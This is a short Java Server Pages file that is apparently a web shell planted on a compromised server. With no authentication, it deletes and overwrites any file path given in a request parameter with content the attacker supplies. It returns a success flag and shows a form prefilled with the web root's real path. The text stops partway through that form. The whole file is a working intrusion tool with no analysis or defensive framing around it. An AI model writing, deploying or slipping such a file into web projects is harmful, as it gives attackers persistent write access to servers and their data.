<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">